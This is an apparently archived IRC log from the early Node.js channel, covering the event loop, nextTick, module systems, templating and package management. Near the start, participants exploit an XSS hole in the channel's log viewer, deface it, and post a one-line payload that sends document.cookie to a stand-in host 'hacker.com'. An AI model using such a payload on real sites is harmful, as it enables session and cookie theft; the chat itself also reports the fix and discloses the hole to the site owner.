[00:00] mikeal: https://bugzilla.mozilla.org/show_bug.cgi?id=524436 was specific to this page and marked a dupe of that bug
[00:02] isaacs: so, i'm gonna make the sax parser do XML, and do it right, with loose and strict modes. Then the HTML parser can be a layer on top of that which watches the stream of tags and makes all kinds of psychotic changes to it.
[00:02] jackyyll: tlrobinson: it lags in webkit too :P
[00:03] ryah: isaacs: i think html is more or less unbalanced xml
[00:04] isaacs: ryah: "less" ++
[00:04] isaacs:

hello


[03:41] isaacs: so is it unblocked now?
[03:41] Tim_Smart: the end
[03:41] isaacs: gah, xss ftw.
[03:42] isaacs: ah, your script executes before mine. d'oh
[03:42] Tim_Smart: !log
[03:42] Tim_Smart: lol I got an alert
[03:42] Tim_Smart: http://nodejs.debuggable.com/2010-02-10.html
[03:43] tmpvar: fail.
[03:43] tmpvar: sorry guys
[03:44] Tim_Smart: That will execute afterwards lol
[03:44] deanlandolt: tmpvar: i think Tim_Smart's tanked it :D
[03:44] tmpvar: haha
[03:44] Tim_Smart: oh shi
[03:44] tmpvar: something happened
[03:45] Tim_Smart: ah phew
[03:45] isaacs: oh, hahaha, my function alert() replaced everything *after* that first alert.
[03:45] tmpvar: WOW
[03:45] isaacs: i sent an email to felix.
[03:46] isaacs: he'll fix it,i'm sure.
[03:46] isaacs: till then, just view the source, i guess.
[03:46] isaacs: ^_^
[03:46] tmpvar: we really tore that shit up
[03:46] okito has joined the channel
[03:46] deanlandolt: you savages
[03:46] tmpvar: 5 minutes and it was defaced
[03:46] isaacs: hahahah
[03:47] isaacs: we can't behave.
[03:47] deanlandolt: you can't have _anything_ nice on the internets
[03:47] isaacs: we're javascripters, the most unruly bunch of coders around!
[03:47] tmpvar: rawr!
[03:48] tmpvar: window.location=
[03:48] Tim_Smart: But I won't :p
[03:48] tmpvar: hah
[03:48] isaacs: hahahah
[03:49] ZhouYu has joined the channel
[03:50] Tim_Smart: var hax = new Image(); hax.src = 'http://www.hacker.com/?cook=' + document.cookie;
[03:50] Tim_Smart: I steal your cookies. Nom nom
[03:53] rtomayko has joined the channel
[03:54] eikke has joined the channel
[03:55] Yuffster has joined the channel
[04:00] inimino: haha
[04:01] mattly has joined the channel
[04:03] inimino: http://nodejs.debuggable.com/ "text/html" is the problem...
[04:06] Tim_Smart: inimino: He want to linkify links though
[04:06] Tim_Smart: inimino: So he probably does want text/html
[04:06] Tim_Smart: except he hasn't got a tag stripper in
[04:07] tmpvar: yeah, just needs a bit of sanitation
[04:07] tmpvar: just convert to html entities would be fine
[04:07] Tim_Smart: What's up with the Github failing so much lately?
[04:07] Tim_Smart: Just a bad time I guess...
[04:08] Tim_Smart: lol
[04:08] isaacs: there we go.
[04:08] isaacs: sync xhr is bad and all, but meh. it works.
[04:08] Tim_Smart: Still doesn't get the alerts out
[04:08] isaacs: no, the alerts happen, but at least it's not completely defaced.
[04:09] inimino: hehe
[04:09] isaacs: ACTION enjoys using his powers for good, occasionally
[04:09] Tim_Smart: No one can steal the cookies now!
[04:10] isaacs: right... hopefully felix doesn't need any of his cookies on debuggable.com
[04:11] mikeal has joined the channel
[04:24] creationix has joined the channel
[04:28] tmpvar: so i got a very hacked version of sizzle running on jsdom
[04:28] tmpvar: its basically useless.. but a big step lol
[04:28] creationix has joined the channel
[04:32] randomekek has joined the channel
[04:33] voodootikigod_ has joined the channel
[04:47] cedricv has joined the channel
[04:48] cagdas has joined the channel
[04:49] randomekek: hi anybody here? i have a small questio
[04:53] creationix: randomekek: what's up
[04:53] randomekek: hey
[04:53] randomekek: im thinking of writing a little tree db
[04:54] randomekek: and i wanted to use the simplest persistence possible
[04:54] creationix: the simplest is File.write(JSON.stringify(data))
[04:54] randomekek: what's out there for node.js?
[04:55] creationix: node-persistence has drivers for sqlite3 and postgres
[04:55] creationix: there are several others on the modules page of the wiki
[04:55] randomekek: im worried about synchronisation though
[04:55] deanlandolt: randomekek: pintura/perstore is one option -- gives you a nice clean persistence framework that works on node
[04:55] randomekek: because once u call a function it will go off and do it eventually
[04:55] creationix: node is single threaded, so as long as you're running a single thread, there are no issues with concurrency
[04:55] creationix: callbacks can only happen one at a time
[04:56] creationix: *single process
[04:56] randomekek: so with these dbs, i can do three commands one call back after another
[04:56] randomekek: and it will run those three first, before doing other things?
[04:56] creationix: if you order your callbacks properly
[04:57] randomekek: db.dostuff(function() { db.dostuffagain(function() {db.domorestuff();}}}
[04:57] creationix: http://howtonode.org/control-flow
[04:57] randomekek: ooo never saw that site before
[04:57] creationix: It's one I just started to help people learn node
[04:57] randomekek: cool, node is so good since i love js
[04:57] creationix: nesting callbacks works, but it get's ugly real fast
[04:58] randomekek: well the only two things that must occur together is:
[04:58] bpot has joined the channel
[04:58] randomekek: when you add a child to a element, you must update the parent at the same time
[04:58] creationix: so are you talking about transaction type stuff?
[04:58] randomekek: i guess
[04:59] randomekek: for single threaded transactions is not necessary
[04:59] randomekek: is it possible to call a .wait() on these databases?
[04:59] creationix: don't use wait, it's evil
[04:59] randomekek: yeah i had that feeling
[04:59] creationix: but yeah, anything promise based supports wait
[04:59] randomekek: i used wait only to completely read a file at read, but not good when other things occurs
[05:00] creationix: see also http://howtonode.org/control-flow-part-ii
[05:01] randomekek: i might just do it as an in memory object array and modify it with array operations, that way i am sure they will occur together
[05:01] creationix: if your data size is small, I'd go that route
[05:01] randomekek: thx for these, i'll give it a read
[05:01] creationix: and save it to disk in a single file every so often with JSON.stringify
[05:01] randomekek: yeah i think it will be small, since its only for personal use
[05:02] randomekek: i guess i'll make an object to do the data access, and if i need more scale in the future, i'll switch in something hardcore
[05:02] jspiros has joined the channel
[05:03] creationix: You can look at the memory driver in node-persistence http://github.com/creationix/node-persistence/blob/master/lib/persistence/memory.js
[05:03] creationix: it shouldn't be hard to modify it to save to disk occasionally for backups
[05:03] creationix: and then later if you need scalability, you just swap backends, same api
[05:03] randomekek: setinterval(flush(), 10000) or something i hope
[05:03] randomekek: and that can be done async
[05:03] creationix: that would work
[05:03] creationix: or every 10 writes
[05:04] randomekek: yeah... i'll just roll some fo my own
[05:04] randomekek: thx
[05:04] creationix: no problem
[05:05] randomekek: oh and one more thing about the javascript performance
[05:05] randomekek: do you know any resource on the time complexity of the array operations?
[05:05] randomekek: i vaguely remember that append is constant
[05:07] steadicat has joined the channel
[05:08] creationix: it varies from browser to browser
[05:08] creationix: array append and pop are constant, but shift and unshift are not
[05:08] vickaita has joined the channel
[05:08] creationix: V8 also has fast string concats unlike most browsers
[05:09] creationix: arrays are sparse in JavaScript. They're basically objects with a magical length property
[05:10] tmpvar: and bracket access
[05:10] tmpvar: but i guess you can achieve that with a regular old object anyhow
[05:10] tmpvar: nevermind :)
[05:10] randomekek: cool, i heard v8 was fast
[05:14] creationix: tmpvar: how's your sizzle working?
[05:15] steadicat has joined the channel
[05:18] Moon has joined the channel
[05:21] mikeal has joined the channel
[05:26] randomekek: hi anybody here? another question about the way node works
[05:26] isaacs: randomekek: yo
[05:26] randomekek: hi isaacs
[05:27] randomekek: so when im in a function am i sure that i will not be interrupted and another function start running?
[05:27] isaacs: yes.
[05:27] randomekek: cool
[05:27] randomekek: now
[05:27] isaacs: there's a single event loop per process.
[05:27] isaacs: so, stuff like setTimeout and nextTick and whatnot will just get in line, and run AFTER your function is done.
[05:27] randomekek: if i call return can something else come inbetween the actual return?
[05:27] isaacs: randomekek: no.
[05:28] randomekek: what about process.NextTick?
[05:28] isaacs: function A () { return B() }; there is no way to call A() and not get the result of B immediately.
[05:28] isaacs: you can't get inbetween the two
[05:28] randomekek: well it can pause the execution and keep the whole stack
[05:28] isaacs: sure.
[05:28] isaacs: javascript can do that. so don't do that ;)
[05:28] randomekek: and switch to another stack and run it
[05:29] randomekek: when i call process.nextTick(fun...)
[05:29] randomekek: does it put that fun in the queue
[05:29] randomekek: at the exact next thing
[05:29] randomekek: or somewhere random
[05:29] tmpvar: creationix, sizzle.. hrm.. something is weird heh
[05:29] isaacs: randomekek: it puts it in the queue.
[05:29] isaacs: but it's a queue.
[05:29] isaacs: so if there's other stuff that got in before, it might happen before your function
[05:29] randomekek: ooh
[05:30] tmpvar: handles id/tagname selectors, but does not do nesting/attributes/etc
[05:30] isaacs: that also gives the processor a chance to breathe, which is friendly.
[05:30] randomekek: ahh
[05:30] tmpvar: i think its off by a single piece because all of the missing functionality has the same thing in common
[05:30] randomekek: im wondering whether to directly call a callback
[05:30] randomekek: use a nextTick(callback)
[05:30] isaacs: randomekek: usually, you want to just call it.
[05:31] randomekek: so like: fun myfun(callback) { //do stuff; callback()}
[05:31] randomekek: or fun myfun(callback) { .... nextTick(function() {callback()})}
[05:31] isaacs: randomekek: of course, that depends on what kind of calling behavior you expect.
[05:31] isaacs: you could just do nextTick(callback)
[05:31] randomekek: lol yeah
[05:31] randomekek: haha
[05:31] isaacs: let's say your function solves a little bit of a sudoku puzzle, and it might have to run 10000 times to solve it.
[05:31] isaacs: 10000 function calls will blow out the call stack.
[05:32] isaacs: so you should do the nextTick
[05:32] isaacs: it's a bit like tail call optimization, but not.
[05:32] isaacs: :)
[05:32] randomekek: lol
[05:32] isaacs: it's good for the same situations in which TCO is good.
[05:32] creationix: tmpvar: sounds like it's getting close, good luck
[05:32] randomekek: yeah
[05:32] rictic has joined the channel
[05:32] tmpvar: creationix, thanks man! you following the project?
[05:33] creationix: not yet, where is it?
[05:33] randomekek: maybe one suggestion to nextTick is that it is nextTick(callback, args)
[05:33] randomekek: and will do callback.apply(args)
[05:33] tmpvar: http://github.com/tmpvar/jsdom
[05:33] randomekek: because otherwise u wrap another little function i guess
[05:33] isaacs: randomekek: you can just wrap it yourself, and it's the same amount of headaches.
[05:34] isaacs: node is optimzed for speed, occasionally at the expense of API beautiy.
[05:34] randomekek: yeah
[05:34] randomekek: with all these anon functions i hope v8 will get faster at a rate bigger than the rate i slow down the code
[05:34] isaacs: haha
[05:34] randomekek: oh well i got it... gonna roll my own noobDB
[05:34] creationix: as long as I'm slowing the code faster than you are, you will be speeding up relatively
[05:35] randomekek: wohoo
[05:35] creationix: isaacs: how evil exactly is "with" in v8
[05:35] isaacs: about 1-2 orders of magnitude slower than a function.
[05:35] isaacs: creationix: don't do it.
[05:35] creationix: and function decompilation and eval all mixed together
[05:36] randomekek: thx, again, im off
[05:36] isaacs: it's like 100-300 times slower, iirc.
[05:36] isaacs: i got a node-bench script lying around here somewhere..
[05:36] creationix: ouch
[05:37] isaacs: so, in a real use case, with an http server, wrapping modules in a with(){} reduced the performance by something like 25% of the requests/sec
[05:37] isaacs: it's a shame, really, because you can do some REALLY clever shit with it.
[05:37] creationix: I guess I won't use it for my module system proposal then. I know Ryan won't go for 25% slowdown
[05:37] isaacs: creationix: been there, done that.
[05:38] isaacs: (that's how i know how much slower it is)
[05:38] creationix: lol, yep
[05:38] isaacs: dig through the list archives for the "import" discussion to see it
[05:38] creationix: I seem to remember it
[05:38] creationix: I'm just trying to make a good clean syntax for async requires
[05:38] isaacs: yeah.
[05:39] isaacs: keep on keepin on.
[05:40] creationix: isaacs: I'm thinking about defining a module an async operation itself, not just the loading the source step.
[05:40] creationix: I had a real use case for that a while back, but I've forgotten it since
[05:40] tmpvar: there is a module in the wiki for doing this, no?
[05:41] tmpvar: async require
[05:41] isaacs: the problem is that any code that runs inside the with(){} will be much slower.
[05:41] isaacs: tmpvar: you can do it now with require.async("blahrg")
[05:41] creationix: require.async only async's the loading of the source
[05:42] creationix: the module itself has to define it's exports in sync
[05:42] creationix: so you can't next async requires
[05:42] creationix: *nest
[05:42] isaacs: creationix: but that's fast...
[05:42] isaacs: you can just use require.async() in the module
[05:42] tmpvar: isaacs, nice to know
[05:42] isaacs: it's ok. you'll just get an unfinished exports.
[05:43] creationix: that's the problem, how will my module two levels up know when the exports is ready to use?
[05:43] isaacs: which i guess is what you're tryingto solve, huh...
[05:43] tmpvar: until you use the module, no?
[05:43] creationix: I guess the exports could contain a promise and you could attach a listener to it
[05:43] creationix: but that's hacky
[05:43] isaacs: require.async("part2", function (part2) { exports.ready = true; })
[05:43] isaacs: yeah
[05:43] isaacs: that's lame.
[05:45] creationix: http://gist.github.com/300066
[05:45] creationix: I was wanting to use "with" to get rid of all the "this" calls, but that's a side issue, the async part is working for me.
[05:46] isaacs: it'd be better to get an "import" object, maybe
[05:46] isaacs: this-context switching is not free.
[05:46] creationix: true, I had "libs" in one version
[05:46] creationix: notice that instead of an exports object, there is an export function and the first argument is the "exports"
[05:47] creationix: this means we can export things other than regular objects
[05:47] isaacs: interesting.
[05:47] creationix: no more "require('myproj').myproj"
[05:47] isaacs: (you can do that now with module.exports = /123/g)
[05:47] isaacs: just assign to module.exports
[05:47] isaacs: but an export function is nice.
[05:48] creationix: true, but that doesn't work outside of node (neither does mine though)
[05:48] isaacs: there's an implementation in Narwhal,i believe, that kriskowal hacked together.
[05:49] isaacs: prolly not in the main trunk, tho
[05:50] creationix: Another goal of my async system is that it will work in the browser
[05:50] creationix: if I could get my "load" function built into node then sources could run unmodified on both platforms and even without the typeof check at the top.
[05:51] creationix: browsers would simply have a script tag at the top defining load
[05:51] isaacs: yeah, that'd be neat
[05:52] creationix: "require" and "exports" will never work in a browser, but this should.
[05:53] bpot has joined the channel
[05:55] jan____: tmpvar: you're a mad man!
[05:55] tmpvar: im trying to think how important it is that require type functionality works in the browser
[05:56] tmpvar: jan____, thanks ;)
[05:56] jan____: (love it when a compliment goes through :)
[05:56] tmpvar: not the first time i've heard that lol.. *drifts off* it all started with a business trip
[05:58] jan____: “…this one time, in vegas…”
[05:59] tmpvar: hah, I'm writing code against a DOMImplementation node "DisableLiveLists" => "1.0"
[06:04] tmpvar: jan____, wouldn't that be a shame..
[06:04] tmpvar: more like.. "this one time in texas"
[06:07] bpot has joined the channel
[06:12] keeto has joined the channel
[06:14] technoweenie has joined the channel
[06:27] micheil has joined the channel
[06:31] isaacs has joined the channel
[06:36] binary42 has joined the channel
[06:43] jed has joined the channel
[06:56] brapse has joined the channel
[07:15] jed has left the channel
[07:35] kennethkalmer has joined the channel
[07:43] teemow has joined the channel
[07:45] unomi has joined the channel
[07:46] olivvv has joined the channel
[07:47] zmoog has joined the channel
[08:08] dschn has joined the channel
[08:22] piranha has joined the channel
[08:25] kjeldahl_ has joined the channel
[08:34] jdee has joined the channel
[08:43] jimfear has joined the channel
[09:05] jdee has joined the channel
[09:07] mediacoder has joined the channel
[09:08] paulca has joined the channel
[09:19] technoweenie has joined the channel
[09:28] felixge has joined the channel
[09:28] felixge has joined the channel
[09:32] ijsthijs has joined the channel
[09:41] markwubben has joined the channel
[09:59] caolanm has joined the channel
[09:59] caolanm: hi all
[09:59] caolanm: what are peoples views on using v8 implementation-specific javascript in node modules?
[10:00] caolanm: for example, escaping multiline strings with a '\' before a new line, or using Array.map etc...
[10:01] caolanm: when writing client side code I'd avoid all of that
[10:08] ballantyne has joined the channel
[10:17] markwubben_ has joined the channel
[10:18] markwubben__ has joined the channel
[10:19] markwubben___ has joined the channel
[10:51] paulca has joined the channel
[10:56] jan____ has joined the channel
[11:00] ithinkihaveacat has joined the channel
[11:06] onar has joined the channel
[11:18] jdee has joined the channel
[11:23] charlenopires has joined the channel
[11:25] davidjrice: caolanm: I think that's okay!
[11:29] caolanm: davidjrice: yeah, been thinking the same... of course it makes it a little less portable to the client-side (which is one of the nice things about writing server-side code in js)... but some things seem very unlikely to be run in a browser anyway
[11:29] davidjrice: yep, you just need another hat :)
[11:29] caolanm: :)
[11:30] davidjrice: at least that's how I've been doing it..
[11:30] davidjrice: if node ever had a new JS engine, it'd probably support the same goodies
[11:32] davidjrice: caolanm: what kindof module you writing?
[11:34] caolanm: its more of a general question... but I'm currently thinking about writing a secure-cookie module (for storing session data inside cookies)
[11:34] caolanm: do you know if something like this already exists?
[11:36] caolanm: I've seen one cookie-based session implementation but it seemed to do too much... I want something which basically turns objects into strings which can be safely stored inside cookies and decoded later
[11:36] caolanm: then connecting it to request objects etc can be left up to whichever frameworks use it
[11:38] teemow has joined the channel
[11:41] mahemoff has joined the channel
[11:45] ijsthijs has joined the channel
[12:05] davidjrice: jan____: ping!
[12:05] davidjrice: Trying to use mustache.js with node :)
[12:12] davidjrice: TypeError: Object # has no method 'to_html'
[12:14] ballantyne_ has joined the channel
[12:15] ballantyne has joined the channel
[12:16] ballantyne__ has joined the channel
[12:17] ballantyne has joined the channel
[12:27] ballantyne_ has joined the channel
[12:28] ballantyne__ has joined the channel
[12:29] Connorhd has joined the channel
[12:31] ijsthijs has joined the channel
[12:33] vickaita has joined the channel
[12:39] blackdog` has joined the channel
[12:51] davidjrice: just noticed a bug with posix.cat
[12:51] davidjrice: don't have js comments in there :)
[13:00] ijsthijs has joined the channel
[13:01] davidjrice: agh holy shit, I got mustache.js working in node
[13:01] davidjrice: turns out there is a bug in mustache that it doesn't send back any rendered content if there are no template tags in the template!
[13:01] davidjrice: gah!
[13:05] davidjrice: for some reason I had to do this...
[13:05] davidjrice: Mustache.Mustache.to_html(admin_template, view);
[13:05] davidjrice: mustache mustache mustache :)
[13:15] dgouldin has joined the channel
[13:20] vickaita has joined the channel
[13:25] felixge: davidjrice: which mustache are you using?
[13:26] felixge: afaik there is more than one mustache port for node
[13:26] davidjrice: oh yeah?
[13:26] davidjrice: I'm using janl's mustache
[13:26] davidjrice: (that sounds weird :))
[13:32] cedricv has joined the channel
[13:32] felixge: :)
[13:32] felixge: well I used it before and it worked for me
[13:33] felixge: but I can't guarantee there are no bugs ^^
[13:38] davidjrice: felixge: oh it works now!
[13:38] davidjrice: I just had to do some weird stuff with referencing mustache
[13:38] davidjrice: it wouldn't work with just a simple require(
[13:40] davidjrice: also the fact that node was not reading a template because of an inline comment in the template... that was fun too :)
[13:40] davidjrice: (pushed stuff here if anyone is interested >> http://github.com/davidjrice/node-comment )
[13:51] brandon_beacher has joined the channel
[13:52] kjeldahl__ has joined the channel
[13:53] pmuellr has joined the channel
[13:53] jdee has joined the channel
[13:54] felixge: davidjrice: you are saying there is a bug in node cat?
[13:54] davidjrice: felixge: yeah dude I think so
[13:54] davidjrice: it was cutting off a template reading from that
[13:54] davidjrice: because the template included /* ... */
[13:55] felixge: that sounds very odd
[13:56] felixge: I mean node doesn't look at the content of the file
[13:56] felixge: but feel free to send me an example or test that shows it and I'll try to fix it
[13:58] davidsklar has joined the channel
[14:01] davidjrice: felixge: I'll try and look at doing that later.
[14:01] felixge: davidjrice: cool :)
[14:01] davidjrice: are there tests to follow in the node repo?
[14:02] chrisfarms has joined the channel
[14:06] davidjrice: felixge: okay, just sorted out all the bugs in node-comment :)
[14:07] micheil: davidjrice: node-comment or node-comet?
[14:07] felixge: davidjrice: node has './test/mjsunit' which you should check out
[14:08] davidjrice: micheil: node-comment, a wee example node app
[14:08] davidjrice: felixge: sweet, will do
[14:08] micheil: hmm.. so what, it's meant to be similar to disqus?
[14:09] felixge: micheil: it's a moderated node/fab/couchdb powered chatter box thingie
[14:09] micheil: ah
[14:09] micheil: +watch (both repos)
[14:10] kriszyp has joined the channel
[14:12] kriszyp_ has joined the channel
[14:24] rolfb has joined the channel
[14:38] n8o has joined the channel
[14:39] keeto has joined the channel
[14:56] alex-desktop has joined the channel
[15:00] gwoo: felixge: did you check the logs?
[15:01] felixge: gwoo: no, what did I miss?
[15:01] gwoo: output escaping ;)
[15:01] felixge: gwoo: ?
[15:01] felixge: oh
[15:01] felixge: I didn't do the HTML thingie
[15:01] gwoo: don't visit the logs from yesterday you will lose your cookies
[15:01] felixge: I just merged it
[15:01] felixge: but I have a email in my inbox about it I think
[15:01] gwoo: oh yeah
[15:01] gwoo: isaacs said he sent you one
[15:02] felixge: i'll look into it later
[15:02] felixge: dealing with a bigger issue right now, fucking liquid web is the worst company ever
[15:02] gwoo: oh no
[15:02] gwoo: that sucks
[15:02] gwoo: i thought you ditched them
[15:03] felixge: yes, but we had transload.it registered through them
[15:03] felixge: and they are totally fucking unable to renew a domain
[15:03] felixge: (I'm gonna clean the logs anyway, will edit out the swearing *g*)
[15:03] felixge: anyway, I think I'm getting it fixed now
[15:03] felixge: but I'm pissed
[15:03] blackdog` has joined the channel
[15:03] lifo has joined the channel
[15:03] gwoo: i can believe it
[15:04] micheil_mbp has joined the channel
[15:09] atcrabtree has joined the channel
[15:09] micheil_mbp has joined the channel
[15:09] Booster has joined the channel
[15:10] cloudhead has joined the channel
[15:10] kennethkalmer has joined the channel
[15:11] sveimac_ has joined the channel
[15:17] Sidnicious has joined the channel
[15:19] lifo_ has joined the channel
[15:26] binary42 has joined the channel
[15:26] joshbuddy has joined the channel
[15:26] joshbuddy has joined the channel
[15:30] quirkey has joined the channel
[15:40] Sidnicious: is there a reason that querystring's parser tries to parse numbers (<http://github.com/ry/node/blob/master/lib/querystring.js#L101>)? It seems like that's an application-level decision, and it's just making my code more complicated since I can never be sure what type is going to come out.
[15:42] CIA-78: node: 03masuidrive 07master * r3337e9d 10/ wscript : Build system: support spaces in directory names - http://bit.ly/9HOCuT
[15:42] Sidnicious: (i.e. if I'm expecting a string, I have to toString whatever comes out, and if I'm expecting a number I have to test its type and parseInt myself if something tripped up the automatic parser)
[15:42] ryah_away: Sidnicious: indeed. it shouldn't do that.
[15:45] ryah: hm
[15:46] cagdas has joined the channel
[15:46] ryah: i don't even like the nested objects
[15:50] bryanl has joined the channel
[15:52] joshbuddy has joined the channel
[15:52] joshbuddy has joined the channel
[15:55] steadicat has joined the channel
[15:55] Sidnicious: ryah: /me shrugs. It's not un-useful, I just wish it wasn't on all the time :)
[15:57] ryah: Sidnicious: you should bug isaacs about it when he gets up
[15:57] ryah: Sidnicious: if you forget i'll do it :)
[15:57] Sidnicious: Heh, all right.
[15:57] ryah: i'd just remove the whole thing, actually - it seems too bulky
[15:57] ryah: just splitting on & and =
[15:57] ryah: is good
[16:00] qFox has joined the channel
[16:01] bronson has joined the channel
[16:07] felixge: I just realized node now features a base64 encoded image from me on a unicycle as a fixture
[16:07] felixge: isaacs is a crazy man :)
[16:13] inimino: caolanm: V8 doesn't have a lot of implementation-specific things
[16:14] inimino: caolanm: (for example, both of the things you mentioned will work everywhere, though you'll need to add Array.prototype.map to old browsers)
[16:14] rtomayko has joined the channel
[16:17] jdee has joined the channel
[16:18] bentomas has joined the channel
[16:21] cloudhead: inimino: so I finished writing my parser, and got it to run at about 100kB/s
[16:21] cloudhead: it's not really as fast as I was hoping
[16:22] inimino: cloudhead: ah, can I see it?
[16:22] felixge: ryah: I'm feeling like working on sync require tonight, you still interested in that?
[16:22] cloudhead: so I might give your peg parser a whirl
[16:22] cloudhead: inimino: don't got it here, am at work, but I'll put it up tonight
[16:22] felixge: cloudhead: JS parser?
[16:22] inimino: cloudhead: ok, cool
[16:22] ryah: felixge: yes
[16:22] cloudhead: felixge: yes
[16:22] cloudhead: well
[16:22] nsm has joined the channel
[16:23] felixge: ryah: ok, on it
[16:23] ryah: felixge: can you make it beautiful? :)
[16:23] felixge: ryah: I'll try
[16:23] ryah: felixge: awesome
[16:23] cloudhead: felixge: parser is written in js, doesnt parse js
[16:23] felixge: ryah: it will be tough so, because I still have to keep the async require as well. So I'll start with creating a few more shared utility functions I think
[16:23] felixge: cloudhead: what does it parse?
[16:24] cloudhead: felixge: http://lesscss.org
[16:24] ryah: felixge: yeah. see if you can do it without so much branching
[16:24] felixge: cloudhead: ohh nice!
[16:24] cloudhead: porting it to js
[16:24] felixge: ryah: branching as in?
[16:24] zmoog has left the channel
[16:24] ryah: felixge: if statements
[16:24] felixge: ryah: aye. I'll do my best
[16:25] technowe_ has joined the channel
[16:25] ryah: if we never had a module system, we wouldn't be spending so much time on it :)
[16:25] ryah: elliottcable was, perhaps, right.
[16:25] ryah: but maybe if we never had a module system, node would never have become useful. so who knows.
[16:26] inimino: prediction is hard, especially about alternate presents
[16:27] inimino: I think a module system is probably something like http module
[16:28] technoweenie has joined the channel
[16:28] inimino: it belongs is node as long as there is no reasonable alternative to having it there
[16:28] inimino: but eventually, who knows
[16:29] deanlandolt: eventually, perhaps with node running on narwhal, modules won't be necessary for node core :)
[16:30] felixge: ryah: why is 'test-cat.js' in disabled?
[16:32] felixge: (If not never had a module system the mailing list would either be full of people asking for one, or dead because nobody would use node)
[16:32] felixge: * if node
[16:32] kjeldahl has joined the channel
[16:32] cagdas has joined the channel
[16:33] creationix has joined the channel
[16:33] ryah: felixge: i don't know
[16:34] felixge: we should rename the mjsunit dir at some point too
[16:34] felixge: but I'm not sure to what
[16:34] felixge: :)
[16:34] inimino: tests/ ?
[16:34] dgouldin has joined the channel
[16:35] felixge: inimino: would work if ryan has no plans to ever integrate another test suite for the C++ stuff
[16:35] jan____ has joined the channel
[16:35] ryah: i have an open task for splitting up the test suit
[16:35] ryah: suite
[16:36] jan____ has joined the channel
[16:36] jan____: davidjrice: damnit
[16:36] jan____: davidjrice: got a test script for me?
[16:37] felixge: ryah: right, but it's python. Couldn't we make the test runner use node?
[16:38] ryah: no
[16:39] felixge: ryah: why?
[16:39] ryah: because i trust python
[16:39] creationix: lol
[16:40] felixge: ryah: then what about some very simple Makefile / bash logic? This works great for me: http://github.com/felixge/node-dirty/blob/master/Makefile#L3
[16:40] inimino: Python is already required by the build system
[16:41] felixge: ryah: and make would easily allow defining multiple test tasks with one main test task depending on them all
[16:41] felixge: inimino: well, my only problem is that I don't know Python but I'd like to help with this task : )
[16:41] felixge: inimino: and the script running the tests right now is pretty complex for what it does
[16:42] inimino: oh, I haven't looked but python is pretty straightforward
[16:42] ryah: i like the test runner. i haven't had any problems with it
[16:42] kjeldahl has joined the channel
[16:42] felixge: I have a problem with it. It's 1.3k lines of code :)
[16:42] ryah: but not my code :)
[16:42] felixge: ryah: true, but you got somebody to maintain it for you? :)
[16:43] ryah: yeah, v8
[16:43] felixge: ^^
[16:43] felixge: right, will they still do that once we hack it?
[16:43] felixge: :)
[16:43] felixge: or do you think we could split things up without hacking test.py?
[16:43] ryah: that's why we're not hacking it
[16:43] felixge: ah ok
[16:43] ryah: btw here's my favoirte simple test runner: http://github.com/ry/nginx-ey-balancer/blob/master/Makefile#L25-29
[16:44] mattly has joined the channel
[16:44] ryah: splitting up the test suite doesn't involve hacking the runner
[16:44] felixge: ryah: very nice :)
[16:44] felixge: alright, I might give it a try after all
[16:45] ryah: however - i would like to replace node-waf for building addons
[16:46] ryah: with something written in node
[16:47] ryah: probably best to put that off until the api stablizes
[16:50] felixge: yeah
[16:56] RayMorgan has joined the channel
[16:56] bpot has joined the channel
[16:57] brapse has joined the channel
[17:10] kjeldahl has joined the channel
[17:17] mikeal has joined the channel
[17:22] creationix: async is hard!
[17:23] creationix: hard to keep simple at least
[17:23] steadicat has joined the channel
[17:23] creationix: I'm trying to implement a recursive scandir and read-file function using readdir, stat, and cat from posix
[17:24] creationix: I can
[17:24] creationix: It's looking like it will be about 100 lines just for that
[17:24] creationix: would be like 10 lines in a sync system
[17:24] ryah: http://socghop.appspot.com/document/show/user/nodejs/nodejs
[17:25] creationix: ryah: awesome
[17:26] creationix: how about a good package manager for node?
[17:26] creationix: or do you want one built-in?
[17:26] ryah: tricky - it's not a well defined task
[17:26] ryah: like windows port
[17:26] ryah: would require a lot of design
[17:27] charlenopires has joined the channel
[17:27] creationix: html parser :P
[17:28] kennethkalmer has joined the channel
[17:28] deanlandolt: creationix: probably wouldn't need to be /built in/ but would be helpful if a simple package manager were distributed with node -- even if it's just something dirt easy to bootstrap in other package managers
[17:28] ryah: yeah. that's a good project but it seems to be progressing rapidly since yesterday
[17:28] ryah: deanlandolt: what would be something dirt simple?
[17:29] deanlandolt: ryah: download this zip from this github repo, extract it :D
[17:30] creationix: ruby had gems as a separate package for the longest time, it was just another step when setting up your ruby environment
[17:30] creationix: it's nice that gems are builtin to ruby 1.9, but that's after years of use and api stability
[17:31] jdee has joined the channel
[17:33] caolanm: creationix: that recursive scandir and read-file function sounds like something I've written in a little module of file-realted utils
[17:34] caolanm: If I get time I'll upload later tonight, would be interesting to compare approaches even if you don't use it ;)
[17:34] creationix: caolanm: how long did yours end up, my goal is to make is easy to read, not so much a need for the utility. I'm trying to figure out idioms for async programming
[17:34] creationix: it sounded like a complex enough example and I've needed it a time or two before
[17:37] ryah: deanlandolt: github coupling, or even git coupling, doesn't appeal to me
[17:38] deanlandolt: ryah: eh, same here...how about zip coupling?
[17:38] isaacs_mobile has joined the channel
[17:39] ryah: shrug
[17:39] ryah: i guess
[17:40] inimino: tgz
[17:40] deanlandolt: well, github (and i think git as well) offers up an endpoint to get at tgz and zip
[17:41] deanlandolt: inimino: yeah, i could care less...just something easy to get at -- and github offers that up
[17:42] isaacs_mobile: Npm is using tgz, and not git coupled, just http coupled. Making progress on the registry.
[17:43] isaacs_mobile: Imo, pkg management is not node core
[17:43] mikeal: i agree
[17:43] deanlandolt: isaacs_mobile: sure but having some kind of bootstrap to get at a package manager would be great
[17:43] mikeal: we should let some competing libraries dude it out for a year or so before we talk about bundling
[17:44] mikeal: s/dude/duke
[17:44] isaacs_mobile: Sure, but that can just be a shell cmd
[17:44] mikeal: isaacs_mobile: are you using semver in npm yet?
[17:44] deanlandolt: isaacs_mobile: good point
[17:45] isaacs_mobile: Bbiab. Semver is kinda presumed, but not req
[17:48] mikeal: isaacs_mobile: if I'm using a local git checkout, and I want to install the library in to node in some kind of dev mode where it's a symlink to my git checkout, does npm have something to do that yet?
[17:49] isaacs_mobile: Nope. But planned. I like that, too.
[17:49] mikeal: maybe i'll write that today
[17:49] isaacs_mobile: Not too hard to do.
[17:50] mikeal: yeah, i'll give me an excuse to play with npm some more
[17:50] technoweenie has joined the channel
[17:54] isaacs_mobile: mikeal: a lot of npm is still in markdown form
[17:54] mikeal: as in documented but not implemented?
[17:55] Sidnicious: isaacs_mobile: Can I ask you about querystring's try-to-parse-everything-into-a-number functionality? ryah said to talk to you.
